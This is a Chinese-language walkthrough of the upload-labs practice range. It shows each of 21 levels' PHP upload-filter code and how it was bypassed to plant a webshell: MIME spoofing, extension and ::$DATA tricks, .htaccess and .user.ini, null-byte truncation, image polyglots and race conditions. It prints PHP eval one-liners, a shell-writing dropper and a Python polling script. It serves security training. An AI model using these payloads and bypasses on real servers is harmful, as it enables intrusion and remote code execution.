upload-labs靶场通关详解

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Pass-01

绕过js前端检测

我们已经知道会对上传文件进行检测

我们F12，找到checkFile()的方法调用处

然后删掉即可绕过检测（或者将checkFile()改为Ture）

现在可以正常上传.php文件，然后蚁剑连接

然后getshell成功

Pass-02

绕过MIME检测

查看后端源代码，发现只对MIME类型进行检测

我们创建1.php,写入一句话木马

<?php @eval($_POST['shell']);?>

上传，bp抓包修改MIME的application/octet-stream为image/jpeg

蚁剑连接，getshell成功

Pass-03

老样子传图片马，发现失败

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');//从右向左查找最后一个出现的点号"."，并返回该字符及其后面的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

结合源代码分析，1.php.，1.Php，1.php(空格)，1.php::$DATA，1.php.aa均无法上传成功

那么我们可以上传1.php后，抓包改为1.php3，上传成功

由于phpstudy新版本没有TS，所以无法解析上传的php3文件(被当作文本)

反正是成功绕过

Pass-04

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

发现相比于第三关黑名单多了很多，这次不能用php版本绕过

那么可以用.htaccess配置文件攻击

先打开配置文件

启用AllowOverride

创建.htaccess文件，写入

<FilesMatch '1.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

上传后可以匹配到1.jpg，然后被当成php文件解析

我们先上传.htaccess文件

上传成功后，再上传1.jpg

由于phpstudy是新版本，对.htaccess支持存在问题，会出现返回值为空

也就是说.htaccess文件没有上传成功(算是getshell，就是有点无语。。)

Pass-05

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

发现.htaccess文件被办了

发现.ini文件没有被禁用，又因为提示上传目录存在php文件（readme.php）

我们可以上传.ini文件，让所有php文件都“自动”包含某个文件(比如一句话木马)

不过前提是含有.user.ini的文件夹下需要有正常的php文件

创建.user.ini

auto_prepend_file=1.jpg

上传成功后，再上传1.jpg

我们再访问../upload/readme.php(因为我们的一句话木马包含在readme.php)

成功getshell

Pass-06

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

.ini被办了，直接卡住。。

仔细发现过滤条件少了大小写转换

结合黑名单，我们可以上传.Php文件绕过

上传成功

出现服务器配置问题，有点无语

Pass-07

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

发现过滤条件少了去空格

思路很清晰，bp抓包手动添加空格(重命名windows系统会吞掉空格)

上传1.php文件，添加空格

成功绕过

Pass-08

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

相比于前几关，发现过滤少了去除.

那么我们可以用1.php.绕过

bp抓包手动添加.

访问../upload/1.php.，成功绕过

Pass-09

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

相比于前一关，发现少了过滤条件去除字符串::$DATA

::$DATA是一个流传输,可以把后面的数据当成流处理和.，(空格)类似

那么我们可以先上传1.php然后抓包手动添加::$DATA

访问../upload/202307160004185100.php，成功绕过

（注意访问路径不带有::$DATA）

Pass-10

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

根据提示，发现只允许上传.jpg|.png|.gif后缀的文件！

但是.htaccess，.ini文件都被办了

结合deldot函数，我们可以上传1.php. .绕过

因为deldot函数从后往前检测，检测到末尾的第一个点时会继续它的检测，但是遇到空格会停下来

这样我们既绕过了去除点号，也绕过了去除空格

bp抓包，手动修改

访问../upload/1.php.(空格)，成功绕过

Pass-11

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

发现过滤条件会根据黑名单，把我们上传不合格的文件名删掉

$file_name = str_ireplace($deny_ext,"", $file_name);

那么我们可以双写绕过，直接上传1.pphphp

成功绕过

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错！';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件！";}
}

观察源代码，发现多了一个GET参数save_path，这是我们上传文件的路径

说明我们可以控制我们上传文件的保存路径

move_uploaded_file($temp_file,$img_path)是移动文件的函数

我们上传1.php，路径为../upload/

由于对文件后缀有检测

我们抓包修改文件后缀

我们在修改上传路径为../upload/1.php%00

因为当程序检测后缀合法后，通过拼接路径和文件名来保存上传的文件

原本的拼接结果为../uploads/1.php%00/9820230717123050.jpg

由于截断字符，移动文件的时候会将文件保存为../uploads/1.php，从而达到getshell

(这里php版本不满足要求，所以magic_quotes_gpc找不到，也就无法上传成功)

Pass-13

源代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件！";}
}

和第十二关类似，不过上传路径变为POST传参

先上传1.php，然后抓包修改后缀绕过

然后修改POST参数为../upload/1.phpa

点开Hex，找到我们标记的a，修改为00

因为在Hex中改成00后，得到的结果是一个ASCII码为0的字符，也就是null字符或空字符。

在URL编码中，null字符会被替换为%00，从而达到截断效果

因为php版本问题，和第十二关一样

Pass-14

源代码

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

分析源代码，发现会检查上传文件的开头2个字节

那么我们既要绕过文件后缀名检测，也要绕过文件头检测

我们创建1.php，写入

<?php phpinfo();?>

然后修改后缀为.gif

上传抓包，手动添加绕过

题目告诉我们可以结合文件包含漏洞，点开查看源代码

要利用include函数去文件包含，才能解析木马的执行

（上述页面存在文件包含漏洞）

Pass-15

源代码

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

方法和第十四关相同

Pass-16

源代码

function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

方法和第十四关相同

Pass-17

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型，合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错！";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错！";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错！";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";}
}

考点是二次渲染，网站展示的是经过二次渲染后的

我们上传的文件得为.jpg，.png，.gif之一

gif二次渲染容易，我们用准备好的图片马上传，然后下载下来

拉到010里面对比两张图片相同的地方，即未被二次渲染修改

打开比较文件

找到相同地方，说明没被二次渲染

在其中插入一句话木马或getshell

然后再重新上传

发现被重命名了（当然可以抓包看上传成功后的URL，懒得打开bp了）

成功访问有文件包含漏洞的URL

Pass-18

源代码

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件！";unlink($upload_file);}}else{$msg = '上传出错！';}
}

分析一下，发现先对我们上传的文件进行白名单检测，然后会对上传文件重命名，如果不符合，unlink()会删除该文件

也就是说如果我们要传图片马绕过，得要有文件包含漏洞。显然这一关没有，那么我们传的图片马就解析不了，那么就只能传一句话木马

我们可以利用条件竞争上传，因为代码执行的过程是需要耗费时间的，我们只要在上传的一句话被删除之前访问就行了

可以利用burp多线程发包，然后不断在浏览器访问我们的webshell，会有一瞬间的访问成功。

创建1.php，写入微调后的一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

作用：一旦访问到该文件就会在当前目录下生成一个shell.php的一句话

上传bp抓包，清除payload

改为Null payload，设置无限重复

然后写py脚本，通过它来不停的访问我们上传上去的PHP文件

现在bp开始攻击

在bp攻击的同时，运行脚本，当出现OK时说明访问到了该文件

那么我们的一句话木马被成功解析，然后蚁剑连接

（注意连接的是我们在当前目录写的shell.php）

成功getshell

Pass-19

此题要修改下文件

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传，但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败，上传目录不可写。';break; case -3:$msg = '上传失败，无法上传该类型文件。';break; case -4:$msg = '上传失败，上传的文件过大。';break; case -5:$msg = '上传失败，服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传，文件不能复制到目标目录。';break;      default:$msg = '未知错误！';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
......  /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
...... 
};

相比于前一关多了对后缀名检测，所以我们只能传图片马，而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其

他漏洞，比如文件包含，apache解析漏洞等。

此题可以结合文件包含漏洞

先创建2.php，写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

利用cmd命令合成图片马

上传图片马，然后流程跟第十八关类似

不过要修改脚本，因为是结合文件上传漏洞

import requests
url = "http://upload-labs-master/include.php?file=upload/3.png"
while True:html = requests.get(url)if ( 'Warning'  not in  str(html.text)):print('ok')break

bp开始攻击

攻击时运行脚本

然后蚁剑连接

(注意URL，因为我们修改文件，保存的位置是在根目录)

Pass-20

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错！';}}else{$msg = '禁止保存为该类型文件！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

分析源代码，首先会对文件名后缀检测，上传文件类型不能在黑名单中

然后通过pathinfo()内置函数，$file_ext变量将包含$file_name中的文件扩展名（不包括点号）

然后拼接路径$img_path = UPLOAD_PATH . '/' .$file_name;

方法一（文件夹名欺骗绕过）

由于题目的保存文件名是可控的

我们可以借助move_uploaded_file()的特性会忽略掉文件末尾的 /来进行绕过

（即保存的文件名可以为upload-19.php/.）

我们上传php文件的一句话木马

抓包，修改两个位置绕过检测

成功getshell

(注意URL末尾没有.)

当然，保存的文件名可以为upload-19.php.

也能绕过

方法二（%00截断攻击）

文件保存为upload-19.php%00.jpg也能绕过

（不过版本问题，上传不成功）

Pass-21

源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功！";$is_upload = true;} else {$msg = "文件上传失败！";}}}
}else{$msg = "请选择要上传的文件！";
}

注：

reset() 获取数组的第一个元素

end() 获取数组的最后一个元素

count()获取数组或对象的元素数量（至关重要）

分析源代码：

1. 首先是MIME检测
2. 继续运用三元运算符判断POST的参数是否为空
3. 然后再判断是否为数组，若不为则根据点号分开（即让文件名和扩展名分别为数组的值）
4. 接着将拓展名即$file[count($file) - 1]与白名单对比
5. 最后若合法则拼接路径

绕过条件比较难，不过可以利用POST传参数组

• 只需要让第一个值即save_name[0]=upload-20.php（.php是为了能被解析）
• 然后再让数组最后一个值为jpg就能绕过

但是这里就有问题，为什么最后一个值jpg不会拼接路径里呢

因在于这个拼接过程用的是count函数，如果数组有三位，但是有一位为空，最后count出来的数就为2，而非为3。

所以我们传参save_name[2]=jpg，让save_name[1]为空即可

上传抓包

成功getshell